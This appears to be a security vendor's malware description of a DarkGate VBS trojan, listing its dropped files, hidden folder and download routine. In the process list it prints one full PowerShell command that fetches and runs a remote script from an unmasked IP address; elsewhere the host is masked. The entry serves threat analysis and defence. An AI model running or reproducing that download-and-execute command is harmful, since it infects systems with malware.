Trojan.VBS.DARKGATE.YXEDIZ

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

• C:\kady\temp_AutoHotkey.exe
• C:\kady\AutoHotkey.exe
• C:\kady\script.ahk
• C:\kady\test.txt

It adds the following processes:

• powershell -Command Invoke-Expression (Invoke-RestMethod -Uri '103.124.106.237/wctaehcw')
• start 'C:/kady/AutoHotkey.exe' -a 'C:/kady/script.ahk'
• attrib +h 'C:/kady/'

It creates the following folders:

• C:/kady/

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• {BLOCKED}.{BLOCKED}.{BLOCKED}.237/wctaehcw → contains a powershell script

Other Details

This Trojan does the following:

• The powershell script performs the following:
  • It creates a directory where it drops files:
    • C:/kady/ → attribute set to hidden
  • It connects to a URL to download malicious files:
    • {BLOCKED}.{BLOCKED}.{BLOCKED}.237/gsgqmjivmr → saved as C:/kady/temp_AutoHotkey.exe
    • {BLOCKED}.{BLOCKED}.{BLOCKED}.237/rjlcmdey → saved as C:/kady/script.ahk
    • {BLOCKED}.{BLOCKED}.{BLOCKED}.237/giibkqxo → saved as C:/kady/test.txt
  • It copies a portion of C:\kady\temp_AutoHotkey.exe and saves it as:
    • C:\kady\AutoHotkey.exe
  • It adds the following processes:
    • start 'C:/kady/AutoHotkey.exe' -a 'C:/kady/script.ahk'
    • attrib +h 'C:/kady/'